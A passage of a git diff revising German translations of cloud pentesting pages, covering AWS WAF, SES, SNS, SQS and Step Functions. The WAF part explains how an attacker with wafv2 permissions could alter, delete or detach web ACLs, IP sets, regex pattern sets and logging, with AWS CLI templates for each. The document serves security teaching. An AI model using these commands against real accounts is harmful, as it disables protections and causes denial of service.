Cross-Site-Scripting mindern, und indem sie benutzerdefinierte Filterregeln definieren. +AWS WAF ist eine **Webanwendungsfirewall**, die entwickelt wurde, um **Webanwendungen oder APIs** vor verschiedenen Web-Exploits zu schützen, die ihre Verfügbarkeit, Sicherheit oder Ressourcennutzung beeinträchtigen können. Es ermöglicht Benutzern, den eingehenden Datenverkehr zu steuern, indem sie **Sicherheitsregeln** festlegen, die typische Angriffsvektoren wie SQL-Injection oder Cross-Site-Scripting mindern, und indem sie benutzerdefinierte Filterregeln definieren. ### Schlüsselkonzepte -#### Web ACL (Zugriffskontrollliste) +#### Web ACL (Access Control List) Eine Web ACL ist eine Sammlung von Regeln, die Sie auf Ihre Webanwendungen oder APIs anwenden können. Wenn Sie eine Web ACL mit einer Ressource verknüpfen, überprüft AWS WAF eingehende Anfragen basierend auf den in der Web ACL definierten Regeln und führt die angegebenen Aktionen aus. @@ -18,7 +18,7 @@ Eine Web ACL ist eine Sammlung von Regeln, die Sie auf Ihre Webanwendungen oder Eine Regelgruppe ist eine wiederverwendbare Sammlung von Regeln, die Sie auf mehrere Web ACLs anwenden können. Regelgruppen helfen, konsistente Regelsets über verschiedene Webanwendungen oder APIs hinweg zu verwalten und aufrechtzuerhalten. -Jede Regelgruppe hat ihre zugehörige **Kapazität**, die hilft, die Betriebsmittel zu berechnen und zu steuern, die zur Ausführung Ihrer Regeln, Regelgruppen und Web ACLs verwendet werden. Sobald ihr Wert bei der Erstellung festgelegt ist, kann er nicht mehr geändert werden. +Jede Regelgruppe hat ihre zugehörige **Kapazität**, die hilft, die Betriebsmittel zu berechnen und zu steuern, die verwendet werden, um Ihre Regeln, Regelgruppen und Web ACLs auszuführen. Sobald ihr Wert während der Erstellung festgelegt ist, kann er nicht mehr geändert werden. #### Regel @@ -41,7 +41,7 @@ Ein Regex-Muster-Set enthält eine oder mehrere reguläre Ausdrücke (Regex), di #### Lock-Token -Ein Lock-Token wird zur Steuerung der Parallelität verwendet, wenn Updates an WAF-Ressourcen vorgenommen werden. Es stellt sicher, dass Änderungen nicht versehentlich von mehreren Benutzern oder Prozessen, die versuchen, dieselbe Ressource gleichzeitig zu aktualisieren, überschrieben werden. +Ein Lock-Token wird zur Steuerung der Parallelität verwendet, wenn Updates an WAF-Ressourcen vorgenommen werden. Es stellt sicher, dass Änderungen nicht versehentlich von mehreren Benutzern oder Prozessen überschrieben werden, die versuchen, dieselbe Ressource gleichzeitig zu aktualisieren. #### API-Schlüssel @@ -55,7 +55,7 @@ Eine Berechtigungspolitik ist eine IAM-Politik, die festlegt, wer Aktionen an AW #### Geltungsbereich -Der Geltungsbereichsparameter in AWS WAF gibt an, ob die WAF-Regeln und -Konfigurationen auf eine regionale Anwendung oder eine Amazon CloudFront-Verteilung angewendet werden. +Der Geltungsbereichsparameter in AWS WAF gibt an, ob die WAF-Regeln und -Konfigurationen für eine regionale Anwendung oder eine Amazon CloudFront-Verteilung gelten. - **REGIONAL**: Gilt für regionale Dienste wie Application Load Balancers (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, Amazon Cognito-Benutzerpool, AWS App Runner-Dienst und AWS Verified Access-Instanz. Sie geben die AWS-Region an, in der sich diese Ressourcen befinden. - **CLOUDFRONT**: Gilt für Amazon CloudFront-Verteilungen, die global sind. WAF-Konfigurationen für CloudFront werden über die Region `us-east-1` verwaltet, unabhängig davon, wo der Inhalt bereitgestellt wird. @@ -64,7 +64,7 @@ Der Geltungsbereichsparameter in AWS WAF gibt an, ob die WAF-Regeln und -Konfigu #### Überwachungsbedingungen (Bedingungen) -**Bedingungen** geben die Elemente der eingehenden HTTP/HTTPS-Anfragen an, die AWS WAF überwacht, darunter XSS, geografische Lage (GEO), IP-Adressen, Größenbeschränkungen, SQL-Injection und Muster (Strings und Regex-Matching). Es ist wichtig zu beachten, dass **Anfragen, die auf CloudFront-Ebene basierend auf dem Land eingeschränkt sind, WAF nicht erreichen**. +**Bedingungen** geben die Elemente der eingehenden HTTP/HTTPS-Anfragen an, die AWS WAF überwacht, darunter XSS, geografische Lage (GEO), IP-Adressen, Größenbeschränkungen, SQL-Injection und Muster (Strings und Regex-Matching). Es ist wichtig zu beachten, dass **Anfragen, die auf Länderebene bei CloudFront eingeschränkt sind, WAF nicht erreichen**. Jedes AWS-Konto kann konfigurieren: @@ -82,10 +82,10 @@ Aktionen werden jeder Regel zugewiesen, wobei die Optionen sind: - **Zählen**: Zählt die Anfragen, die die Bedingungen der Regel erfüllen. Dies ist nützlich für das Testen von Regeln, um die Genauigkeit der Regel zu bestätigen, bevor sie auf Erlauben oder Blockieren gesetzt wird. - **CAPTCHA und Herausforderung:** Es wird überprüft, dass die Anfrage nicht von einem Bot stammt, indem CAPTCHA-Rätsel und stille Herausforderungen verwendet werden. -Wenn eine Anfrage keine Regel innerhalb der Web ACL erfüllt, unterliegt sie der **Standardaktion** (Erlauben oder Blockieren). Die Reihenfolge der Regelausführung, die innerhalb einer Web ACL definiert ist, ist entscheidend und folgt typischerweise dieser Reihenfolge: +Wenn eine Anfrage keine Regel innerhalb der Web ACL erfüllt, unterliegt sie der **Standardaktion** (Erlauben oder Blockieren). Die Reihenfolge der Regelverarbeitung, die innerhalb einer Web ACL definiert ist, ist entscheidend und folgt typischerweise dieser Reihenfolge: -1. Erlaube auf die Whitelist gesetzte IPs. -2. Blockiere auf die Blacklist gesetzte IPs. +1. Erlaube aufgelistete IPs. +2. Blockiere aufgelistete IPs. 3. Blockiere Anfragen, die mit schädlichen Signaturen übereinstimmen. #### CloudWatch-Integration @@ -237,15 +237,15 @@ Die **rule.json**-Datei würde folgendermaßen aussehen: } ] ``` -**Potenzielle Auswirkungen**: Unbefugter Zugriff, Datenverletzungen und potenzielle DoS-Angriffe. +**Potenzielle Auswirkungen**: Unbefugter Zugriff, Datenpannen und potenzielle DoS-Angriffe. #### **`wafv2:CreateWebACL`, `wafv2:UpdateWebACL`, `wafv2:DeleteWebACL`** Mit diesen Berechtigungen könnte ein Angreifer: -- Eine neue Web ACL erstellen, indem er Regeln einführt, die entweder bösartigen Datenverkehr durchlassen oder legitimen Datenverkehr blockieren, wodurch die WAF effektiv nutzlos wird oder ein Denial of Service verursacht wird. -- Bestehende Web ACLs aktualisieren, indem er in der Lage ist, Regeln zu ändern, um Angriffe wie SQL-Injection oder Cross-Site-Scripting zuzulassen, die zuvor blockiert wurden, oder den normalen Datenverkehr zu stören, indem er gültige Anfragen blockiert. -- Eine Web ACL löschen, wodurch die betroffenen Ressourcen vollständig ungeschützt bleiben und einer breiten Palette von Webangriffen ausgesetzt sind. +- Eine neue Web-ACL erstellen, die Regeln einführt, die entweder bösartigen Datenverkehr durchlassen oder legitimen Datenverkehr blockieren, wodurch die WAF effektiv nutzlos wird oder ein Denial of Service verursacht wird. +- Bestehende Web-ACLs aktualisieren und in der Lage sein, Regeln zu ändern, um Angriffe wie SQL-Injection oder Cross-Site-Scripting zuzulassen, die zuvor blockiert wurden, oder den normalen Datenverkehr zu stören, indem gültige Anfragen blockiert werden. +- Eine Web-ACL löschen, wodurch die betroffenen Ressourcen vollständig ungeschützt bleiben und einer breiten Palette von Webangriffen ausgesetzt sind. > [!HINWEIS] > Sie können die angegebene **WebACL** nur löschen, wenn **ManagedByFirewallManager** falsch ist. @@ -259,9 +259,9 @@ aws wafv2 update-web-acl --name --id --default-action -- # Delete Web ACL aws wafv2 delete-web-acl --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` -Die folgenden Beispiele zeigen, wie man eine Web-ACL aktualisiert, um den legitimen Verkehr von einem bestimmten IP-Set zu blockieren. Wenn die Ursprungs-IP mit keiner dieser IPs übereinstimmt, wäre die Standardaktion ebenfalls das Blockieren, was zu einem DoS führen würde. +Die folgenden Beispiele zeigen, wie man eine Web-ACL aktualisiert, um den legitimen Verkehr von einem bestimmten IP-Set zu blockieren. Wenn die Ursprungs-IP mit keiner dieser IPs übereinstimmt, würde die Standardaktion ebenfalls darin bestehen, sie zu blockieren, was zu einem DoS führen kann. -**Original Web ACL**: +**Original Web-ACL**: ```json { "WebACL": { @@ -333,7 +333,7 @@ Die **rule.json**-Datei würde folgendermaßen aussehen: #### **`wafv2:AssociateWebACL`, `wafv2:DisassociateWebACL`** -Die **`wafv2:AssociateWebACL`** Berechtigung würde es einem Angreifer ermöglichen, Web-ACLs (Access Control Lists) mit Ressourcen zu verknüpfen, wodurch Sicherheitskontrollen umgangen werden könnten, was unbefugtem Datenverkehr den Zugang zur Anwendung ermöglicht und potenziell zu Exploits wie SQL-Injection oder Cross-Site-Scripting (XSS) führen könnte. Im Gegensatz dazu könnte der Angreifer mit der **`wafv2:DisassociateWebACL`** Berechtigung vorübergehend Sicherheitsmaßnahmen deaktivieren und die Ressourcen ohne Erkennung anfällig machen. +Die Berechtigung **`wafv2:AssociateWebACL`** würde es einem Angreifer ermöglichen, Web-ACLs (Access Control Lists) mit Ressourcen zu verknüpfen, wodurch Sicherheitskontrollen umgangen werden könnten, was unbefugtem Datenverkehr den Zugang zur Anwendung ermöglicht und potenziell zu Ausnutzungen wie SQL-Injection oder Cross-Site-Scripting (XSS) führen könnte. Im Gegensatz dazu könnte der Angreifer mit der Berechtigung **`wafv2:DisassociateWebACL`** vorübergehend Sicherheitsmaßnahmen deaktivieren und die Ressourcen ohne Erkennung anfällig machen. Die zusätzlichen Berechtigungen wären je nach geschütztem Ressourcentyp erforderlich: @@ -359,9 +359,9 @@ aws wafv2 disassociate-web-acl --resource-arn ``` **Potenzielle Auswirkungen**: Kompromittierte Ressourcensicherheit, erhöhtes Risiko von Ausnutzung und potenzielle Dienstunterbrechungen innerhalb von AWS-Umgebungen, die durch AWS WAF geschützt sind. -#### **`wafv2:CreateIPSet` , `wafv2:UpdateIPSet`, `wafv2:DeleteIPSet`** +#### **`wafv2:CreateIPSet`, `wafv2:UpdateIPSet`, `wafv2:DeleteIPSet`** -Ein Angreifer könnte in der Lage sein, die von AWS WAF verwalteten IP-Sets zu erstellen, zu aktualisieren und zu löschen. Dies könnte gefährlich sein, da er neue IP-Sets erstellen könnte, um bösartigen Datenverkehr zuzulassen, IP-Sets ändern könnte, um legitimen Datenverkehr zu blockieren, bestehende IP-Sets aktualisieren könnte, um bösartige IP-Adressen einzuschließen, vertrauenswürdige IP-Adressen entfernen oder kritische IP-Sets löschen könnte, die zum Schutz kritischer Ressourcen gedacht sind. +Ein Angreifer könnte die von AWS WAF verwalteten IP-Sets erstellen, aktualisieren und löschen. Dies könnte gefährlich sein, da er neue IP-Sets erstellen könnte, um bösartigen Datenverkehr zuzulassen, IP-Sets ändern könnte, um legitimen Datenverkehr zu blockieren, bestehende IP-Sets aktualisieren könnte, um bösartige IP-Adressen einzuschließen, vertrauenswürdige IP-Adressen entfernen oder kritische IP-Sets löschen könnte, die zum Schutz kritischer Ressourcen gedacht sind. ```bash # Create IP set aws wafv2 create-ip-set --name --ip-address-version --addresses --scope | CLOUDFRONT --region=us-east-1> @@ -378,11 +378,11 @@ aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a #### **`wafv2:CreateRegexPatternSet`**, **`wafv2:UpdateRegexPatternSet`**, **`wafv2:DeleteRegexPatternSet`** -Ein Angreifer mit diesen Berechtigungen könnte die regulären Ausdrucksmuster-Sets manipulieren, die von AWS WAF verwendet werden, um den eingehenden Datenverkehr basierend auf bestimmten Mustern zu steuern und zu filtern. +Ein Angreifer mit diesen Berechtigungen könnte die regulären Ausdrucksmuster-Sets manipulieren, die von AWS WAF verwendet werden, um den eingehenden Datenverkehr basierend auf spezifischen Mustern zu steuern und zu filtern. - Das Erstellen neuer Regex-Muster würde einem Angreifer helfen, schädliche Inhalte zuzulassen. - Durch das Aktualisieren der bestehenden Muster könnte ein Angreifer Sicherheitsregeln umgehen. -- Das Löschen von Mustern, die dazu gedacht sind, bösartige Aktivitäten zu blockieren, könnte einem Angreifer ermöglichen, bösartige Payloads zu senden und die Sicherheitsmaßnahmen zu umgehen. +- Das Löschen von Mustern, die dazu gedacht sind, bösartige Aktivitäten zu blockieren, könnte einem Angreifer ermöglichen, schädliche Payloads zu senden und die Sicherheitsmaßnahmen zu umgehen. ```bash # Create regex pattern set aws wafv2 create-regex-pattern-set --name --regular-expression-list --scope | CLOUDFRONT --region=us-east-1> [--description ] @@ -391,7 +391,7 @@ aws wafv2 update-regex-pattern-set --name --id --regular-express # Delete regex pattern set aws wafv2 delete-regex-pattern-set --name --scope | CLOUDFRONT --region=us-east-1> --id --lock-token ``` -**Potenzielle Auswirkungen**: Umgehung von Sicherheitskontrollen, die bösartige Inhalte zulässt und potenziell sensible Daten offenlegt oder Dienste und Ressourcen, die durch AWS WAF geschützt sind, stört. +**Potenzielle Auswirkungen**: Umgehung von Sicherheitskontrollen, die bösartige Inhalte ermöglichen und potenziell sensible Daten offenlegen oder Dienste und Ressourcen, die durch AWS WAF geschützt sind, stören. #### **(`wavf2:PutLoggingConfiguration` &** `iam:CreateServiceLinkedRole`), **`wafv2:DeleteLoggingConfiguration`** @@ -401,9 +401,9 @@ Während des Erstellungsprozesses richtet der Dienst automatisch die erforderlic - **Amazon CloudWatch Logs:** AWS WAF erstellt eine Ressourcenrichtlinie für die designated CloudWatch Logs-Protokollgruppe. Diese Richtlinie stellt sicher, dass AWS WAF die erforderlichen Berechtigungen hat, um Protokolle in die Protokollgruppe zu schreiben. - **Amazon S3 Bucket:** AWS WAF erstellt eine Bucket-Richtlinie für den designated S3-Bucket. Diese Richtlinie gewährt AWS WAF die notwendigen Berechtigungen, um Protokolle in den angegebenen Bucket hochzuladen. -- **Amazon Kinesis Data Firehose:** AWS WAF erstellt eine dienstverknüpfte Rolle, die speziell für die Interaktion mit Kinesis Data Firehose gedacht ist. Diese Rolle ermöglicht es AWS WAF, Protokolle an den konfigurierten Firehose-Stream zu liefern. +- **Amazon Kinesis Data Firehose:** AWS WAF erstellt eine dienstgebundene Rolle, die speziell für die Interaktion mit Kinesis Data Firehose gedacht ist. Diese Rolle ermöglicht es AWS WAF, Protokolle an den konfigurierten Firehose-Stream zu liefern. -> [!NOTE] +> [!HINWEIS] > Es ist möglich, nur ein Protokollziel pro Web-ACL zu definieren. ```bash # Put logging configuration @@ -424,7 +424,7 @@ aws wafv2 delete-api-key --api-key --scope | #### **`wafv2:TagResource`, `wafv2:UntagResource`** -Ein Angreifer könnte Tags von AWS WAFv2-Ressourcen hinzufügen, ändern oder entfernen, wie z.B. Web ACLs, Regelgruppen, IP-Sets, Regex-Muster-Sets und Protokollkonfigurationen. +Ein Angreifer könnte in der Lage sein, Tags von AWS WAFv2-Ressourcen hinzuzufügen, zu ändern oder zu entfernen, wie z.B. Web ACLs, Regelgruppen, IP-Sets, Regex-Muster-Sets und Protokollkonfigurationen. ```bash # Tag aws wafv2 tag-resource --resource-arn --tags diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md index 627ad8d82..0be5572e0 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md @@ -2,15 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} -## Grundinformationen +## Grundlegende Informationen -Amazon Simple Email Service (Amazon SES) ist dafür konzipiert, **E-Mails zu senden und zu empfangen**. Es ermöglicht Benutzern, transaktionale, Marketing- oder Benachrichtigungs-E-Mails effizient und sicher in großem Maßstab zu senden. Es **integriert sich gut mit anderen AWS-Diensten** und bietet eine robuste Lösung für die Verwaltung von E-Mail-Kommunikationen für Unternehmen jeder Größe. +Amazon Simple Email Service (Amazon SES) ist dafür konzipiert, **E-Mails zu senden und zu empfangen**. Es ermöglicht Benutzern, transaktionale, Marketing- oder Benachrichtigungs-E-Mails effizient und sicher in großem Maßstab zu senden. Es **integriert sich gut mit anderen AWS-Diensten** und bietet eine robuste Lösung für das Management von E-Mail-Kommunikationen für Unternehmen jeder Größe. Sie müssen **Identitäten** registrieren, die Domains oder E-Mail-Adressen sein können, die mit SES interagieren können (z. B. E-Mails senden und empfangen). ### SMTP-Benutzer -Es ist möglich, sich mit einem **SMTP-Server von AWS zu verbinden, um Aktionen auszuführen**, anstatt die AWS-API zu verwenden (oder zusätzlich dazu). Dazu müssen Sie einen Benutzer mit einer Richtlinie wie dieser erstellen: +Es ist möglich, sich mit einem **SMTP-Server von AWS zu verbinden, um Aktionen auszuführen**, anstatt die AWS-API zu verwenden (oder zusätzlich dazu). Dazu müssen Sie einen Benutzer mit einer Richtlinie erstellen, wie: ```json { "Version": "2012-10-17", @@ -112,7 +112,7 @@ aws ses get-send-quota ## Get statistics aws ses get-send-statistics ``` -### Post Exploitation +### Nach der Ausnutzung {{#ref}} ../aws-post-exploitation/aws-ses-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md index ae4299702..64e5cded1 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md @@ -6,7 +6,7 @@ Amazon Simple Notification Service (Amazon SNS) wird als **vollständig verwalteter Messaging-Dienst** beschrieben. Er unterstützt sowohl **Anwendung-zu-Anwendung** (A2A) als auch **Anwendung-zu-Person** (A2P) Kommunikationsarten. -Wichtige Funktionen für die A2A-Kommunikation umfassen **Publish/Subscribe (Pub/Sub)-Mechanismen**. Diese Mechanismen führen **Themen** ein, die entscheidend sind, um hochgradige, **push-basierte, viele-zu-viele Messaging** zu ermöglichen. Diese Funktion ist besonders vorteilhaft in Szenarien, die verteilte Systeme, Microservices und ereignisgesteuerte serverlose Architekturen umfassen. Durch die Nutzung dieser Themen können Publizierungssysteme Nachrichten effizient an eine **breite Palette von Abonnentensystemen** verteilen, was ein Fanout-Messaging-Muster erleichtert. +Wichtige Funktionen für A2A-Kommunikation umfassen **Publish/Subscribe (pub/sub) Mechanismen**. Diese Mechanismen führen **Themen** ein, die entscheidend sind, um hochgradige, **push-basierte, viele-zu-viele Messaging** zu ermöglichen. Diese Funktion ist besonders vorteilhaft in Szenarien, die verteilte Systeme, Microservices und ereignisgesteuerte serverlose Architekturen umfassen. Durch die Nutzung dieser Themen können Publizierungssysteme Nachrichten effizient an eine **breite Palette von Abonnentensystemen** verteilen, was ein Fanout-Messaging-Muster erleichtert. ### **Unterschied zu SQS** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md index 94fff7fd7..5cf9eb30c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md @@ -4,7 +4,7 @@ ## SQS -Amazon Simple Queue Service (SQS) wird als **vollständig verwalteter Nachrichtenwarteschdienst** präsentiert. Seine Hauptfunktion besteht darin, das Skalieren und Entkoppeln von Microservices, verteilten Systemen und serverlosen Anwendungen zu unterstützen. Der Dienst ist so konzipiert, dass die Notwendigkeit entfällt, nachrichtenorientierte Middleware zu verwalten und zu betreiben, was oft komplex und ressourcenintensiv sein kann. Diese Beseitigung von Komplexität ermöglicht es Entwicklern, ihre Bemühungen auf innovativere und differenzierende Aspekte ihrer Arbeit zu konzentrieren. +Amazon Simple Queue Service (SQS) wird als **vollständig verwalteter Nachrichtenwarteschdienst** präsentiert. Seine Hauptfunktion besteht darin, bei der Skalierung und Entkopplung von Microservices, verteilten Systemen und serverlosen Anwendungen zu helfen. Der Dienst ist so konzipiert, dass die Notwendigkeit entfällt, nachrichtenorientierte Middleware zu verwalten und zu betreiben, was oft komplex und ressourcenintensiv sein kann. Diese Beseitigung von Komplexität ermöglicht es Entwicklern, ihre Bemühungen auf innovativere und differenzierende Aspekte ihrer Arbeit zu konzentrieren. ### Enumeration ```bash @@ -18,7 +18,7 @@ aws sqs receive-message --queue-url aws sqs send-message --queue-url --message-body ``` > [!CAUTION] -> Stellen Sie außerdem sicher, dass Sie die richtige Region in **`--region`** angeben, auch wenn die `--queue-url` die Region enthält, da Sie sonst einen Fehler erhalten, der darauf hinweist, dass Sie keinen Zugriff haben, aber das Problem die Region ist. +> Stellen Sie außerdem sicher, dass Sie die richtige Region in **`--region`** angeben, auch wenn die `--queue-url` die Region enthält, da Sie sonst einen Fehler erhalten, der darauf hinweist, dass Sie keinen Zugriff haben, das Problem jedoch die Region ist. #### Unauthenticated Access diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md index 265b394f6..b923ea5e7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md @@ -4,18 +4,18 @@ ## Step Functions -AWS Step Functions ist ein Workflow-Service, der es Ihnen ermöglicht, mehrere AWS-Dienste in serverlosen Workflows zu koordinieren und zu orchestrieren. Durch die Verwendung von AWS Step Functions können Sie Workflows entwerfen und ausführen, die verschiedene AWS-Dienste wie AWS Lambda, Amazon S3, Amazon DynamoDB und viele mehr in einer Abfolge von Schritten verbinden. Dieser Orchestrierungsdienst bietet eine visuelle Workflow-Oberfläche und bietet **Zustandsmaschinen**-Funktionen, die es Ihnen ermöglichen, jeden Schritt des Workflows auf deklarative Weise mit der JSON-basierten **Amazon States Language** (ASL) zu definieren. +AWS Step Functions ist ein Workflow-Service, der es Ihnen ermöglicht, mehrere AWS-Dienste in serverlosen Workflows zu koordinieren und zu orchestrieren. Mit AWS Step Functions können Sie Workflows entwerfen und ausführen, die verschiedene AWS-Dienste wie AWS Lambda, Amazon S3, Amazon DynamoDB und viele mehr in einer Abfolge von Schritten verbinden. Dieser Orchestrierungsdienst bietet eine visuelle Workflow-Oberfläche und bietet **Zustandsmaschinen**-Funktionen, die es Ihnen ermöglichen, jeden Schritt des Workflows deklarativ mit der JSON-basierten **Amazon States Language** (ASL) zu definieren. -## Key concepts +## Schlüsselkonzepte -### Standard vs. Express Workflows +### Standard- vs. Express-Workflows AWS Step Functions bietet zwei Arten von **Zustandsmaschinen-Workflows**: Standard und Express. -- **Standard Workflow**: Dieser Standard-Workflow-Typ ist für langlaufende, langlebige und prüfbare Prozesse konzipiert. Er unterstützt **exactly-once execution**, was sicherstellt, dass Aufgaben nur einmal ausgeführt werden, es sei denn, Wiederholungen sind angegeben. Er ist ideal für Workflows, die eine detaillierte Ausführungshistorie benötigen, und kann bis zu einem Jahr laufen. -- **Express Workflow**: Dieser Typ ist ideal für hochvolumige, kurzzeitige Aufgaben, die bis zu fünf Minuten laufen. Sie unterstützen **at-least-once execution**, geeignet für idempotente Aufgaben wie Datenverarbeitung. Diese Workflows sind auf Kosten und Leistung optimiert und berechnen Gebühren basierend auf Ausführungen, Dauer und Speicherverbrauch. +- **Standard-Workflow**: Dieser Standard-Workflow-Typ ist für langlaufende, langlebige und prüfbare Prozesse konzipiert. Er unterstützt **exactly-once execution**, was sicherstellt, dass Aufgaben nur einmal ausgeführt werden, es sei denn, Wiederholungen sind angegeben. Er ist ideal für Workflows, die eine detaillierte Ausführungshistorie benötigen, und kann bis zu einem Jahr laufen. +- **Express-Workflow**: Dieser Typ ist ideal für hochvolumige, kurzzeitige Aufgaben, die bis zu fünf Minuten laufen. Sie unterstützen **at-least-once execution**, geeignet für idempotente Aufgaben wie Datenverarbeitung. Diese Workflows sind auf Kosten und Leistung optimiert und berechnen Gebühren basierend auf Ausführungen, Dauer und Speichernutzung. -### States +### Zustände Zustände sind die wesentlichen Einheiten von Zustandsmaschinen. Sie definieren die einzelnen Schritte innerhalb eines Workflows und können je nach Typ eine Vielzahl von Funktionen ausführen: @@ -29,15 +29,15 @@ Zustände sind die wesentlichen Einheiten von Zustandsmaschinen. Sie definieren ### Task -Ein **Task**-Zustand stellt eine einzelne Arbeitseinheit dar, die von einer Zustandsmaschine ausgeführt wird. Aufgaben können verschiedene Ressourcen aufrufen, einschließlich Aktivitäten, Lambda-Funktionen, AWS-Dienste oder Drittanbieter-APIs. +Ein **Task**-Zustand stellt eine einzelne Arbeitseinheit dar, die von einer Zustandsmaschine ausgeführt wird. Tasks können verschiedene Ressourcen aufrufen, einschließlich Aktivitäten, Lambda-Funktionen, AWS-Dienste oder Drittanbieter-APIs. -- **Activities**: Benutzerdefinierte Worker, die Sie verwalten, geeignet für langlaufende Prozesse. +- **Aktivitäten**: Benutzerdefinierte Worker, die Sie verwalten, geeignet für langlaufende Prozesse. - Ressource: **`arn:aws:states:region:account:activity:name`**. -- **Lambda Functions**: Führt AWS Lambda-Funktionen aus. +- **Lambda-Funktionen**: Führt AWS Lambda-Funktionen aus. - Ressource: **`arn:aws:lambda:region:account:function:function-name`**. -- **AWS Services**: Integriert sich direkt mit anderen AWS-Diensten, wie DynamoDB oder S3. +- **AWS-Dienste**: Integriert sich direkt mit anderen AWS-Diensten, wie DynamoDB oder S3. - Ressource: **`arn:partition:states:region:account:servicename:APIname`**. -- **HTTP Task**: Ruft Drittanbieter-APIs auf. +- **HTTP-Task**: Ruft Drittanbieter-APIs auf. - Ressourcenfeld: **`arn:aws:states:::http:invoke`**. Dann sollten Sie die Konfigurationsdetails des API-Endpunkts bereitstellen, wie die API-URL, Methode und Authentifizierungsdetails. Das folgende Beispiel zeigt eine Task-Zustandsdefinition, die eine Lambda-Funktion namens HelloWorld aufruft: @@ -69,7 +69,7 @@ Beispiel für einen **Choice**-Zustand: ``` ### Fail/Succeed -Ein **`Fail`**-Zustand stoppt die Ausführung einer Zustandsmaschine und markiert sie als Fehler. Er wird verwendet, um einen Fehlernamen und eine Ursache anzugeben, die Details über den Fehler bereitstellen. Dieser Zustand ist terminal, was bedeutet, dass er den Ausführungsfluss beendet. +Ein **`Fail`**-Zustand stoppt die Ausführung einer Zustandsmaschine und markiert sie als Fehler. Er wird verwendet, um einen Fehlernamen und eine Ursache anzugeben und Details über den Fehler bereitzustellen. Dieser Zustand ist terminal, was bedeutet, dass er den Ausführungsfluss beendet. Ein **`Succeed`**-Zustand stoppt die Ausführung erfolgreich. Er wird typischerweise verwendet, um den Workflow zu beenden, wenn er erfolgreich abgeschlossen ist. Dieser Zustand benötigt kein **`Next`**-Feld. @@ -84,7 +84,7 @@ Ein **`Succeed`**-Zustand stoppt die Ausführung erfolgreich. Er wird typischerw ``` {{#endtab }} -{{#tab name="Erfolgsbeispiel" }} +{{#tab name="Erfolgreiches Beispiel" }} ```json "SuccessState": { "Type": "Succeed" @@ -104,11 +104,11 @@ Ein **Pass**-Zustand überträgt seine Eingabe an seine Ausgabe, entweder ohne A "Next": "NextState" } ``` -### Wait +### Warten -Ein **Wait**-Zustand verzögert die Ausführung der Zustandsmaschine für eine bestimmte Dauer. Es gibt drei Hauptmethoden, um die Wartezeit zu konfigurieren: +Ein **Warten**-Zustand verzögert die Ausführung der Zustandsmaschine für eine bestimmte Dauer. Es gibt drei Hauptmethoden, um die Wartezeit zu konfigurieren: -- **X Sekunden**: Eine feste Anzahl von Sekunden zu warten. +- **X Sekunden**: Eine feste Anzahl von Sekunden, um zu warten. ```json "WaitState": { @@ -143,7 +143,7 @@ jsonCopiar código Ein **Parallel**-Zustand ermöglicht es Ihnen, mehrere Aufgabenäste gleichzeitig innerhalb Ihres Workflows auszuführen. Jeder Ast läuft unabhängig und verarbeitet seine eigene Sequenz von Zuständen. Die Ausführung wartet, bis alle Äste abgeschlossen sind, bevor sie zum nächsten Zustand übergeht. Die wichtigsten Felder sind: -- **Branches**: Ein Array, das die parallelen Ausführungspfade definiert. Jeder Ast ist eine separate Zustandsmaschine. +- **Äste**: Ein Array, das die parallelen Ausführungspfade definiert. Jeder Ast ist eine separate Zustandsmaschine. - **ResultPath**: Definiert, wo (in der Eingabe) die kombinierte Ausgabe der Äste platziert werden soll. - **Retry und Catch**: Fehlerbehandlungs-Konfigurationen für den parallelen Zustand. ```json @@ -164,7 +164,7 @@ Ein **Parallel**-Zustand ermöglicht es Ihnen, mehrere Aufgabenäste gleichzeiti ``` ### Map -Ein **Map**-Zustand ermöglicht die Ausführung einer Reihe von Schritten für jedes Element in einem Datensatz. Es wird für die parallele Verarbeitung von Daten verwendet. Je nachdem, wie Sie die Elemente des Datensatzes verarbeiten möchten, bietet Step Functions die folgenden Modi an: +Ein **Map**-Zustand ermöglicht die Ausführung einer Reihe von Schritten für jedes Element in einem Datensatz. Er wird für die parallele Verarbeitung von Daten verwendet. Je nachdem, wie Sie die Elemente des Datensatzes verarbeiten möchten, bietet Step Functions die folgenden Modi an: - **Inline-Modus**: Führt eine Teilmenge von Zuständen für jedes JSON-Array-Element aus. Geeignet für Aufgaben im kleinen Maßstab mit weniger als 40 parallelen Iterationen, die jeweils im Kontext des Workflows ausgeführt werden, der den **`Map`**-Zustand enthält. @@ -237,7 +237,7 @@ Ein **Map**-Zustand ermöglicht die Ausführung einer Reihe von Schritten für j Step Functions ermöglicht es Ihnen auch, Workflow-Bereitstellungen durch **Versionen** und **Aliase** von Zustandsmaschinen zu verwalten. Eine Version stellt einen Snapshot einer Zustandsmaschine dar, die ausgeführt werden kann. Aliase dienen als Zeiger auf bis zu zwei Versionen einer Zustandsmaschine. - **Versionen**: Diese unveränderlichen Snapshots einer Zustandsmaschine werden aus der neuesten Revision dieser Zustandsmaschine erstellt. Jede Version wird durch eine eindeutige ARN identifiziert, die die ARN der Zustandsmaschine mit der Versionsnummer kombiniert, getrennt durch einen Doppelpunkt (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Versionen können nicht bearbeitet werden, aber 